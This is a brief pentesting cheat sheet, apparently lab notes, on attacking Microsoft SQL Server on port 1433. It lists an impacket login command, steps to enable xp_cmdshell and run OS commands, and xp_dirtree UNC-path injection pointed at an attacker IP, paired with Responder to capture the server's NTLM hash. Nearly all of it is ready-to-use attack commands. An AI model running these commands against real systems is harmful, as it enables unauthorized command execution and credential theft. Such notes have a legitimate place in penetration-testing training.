1433 - Pentesting MSSQL
Authentication with Creds
impacket-mssqlclient klendathu.vl/zim:[email protected] -windows-auth RCE in MSSQL
xp_cmdshell
enable_xp_cmdshell # this enables xp_cmdshell
xp_cmdshell whoami # whoami command worksUNC Path Injection (xp_dirtree)
# On MSSQL Server
xp_dirtree //10.10.8.85/doesnotexists
# OR
exec master.sys.xp_dirtree '\\10.10.8.85\doesnotexists',1,1
# On kali Linux
sudo responder -I tun0
# you should get a hash on your responder xp_fileexist && sys.dm_os_file_exists
Last updated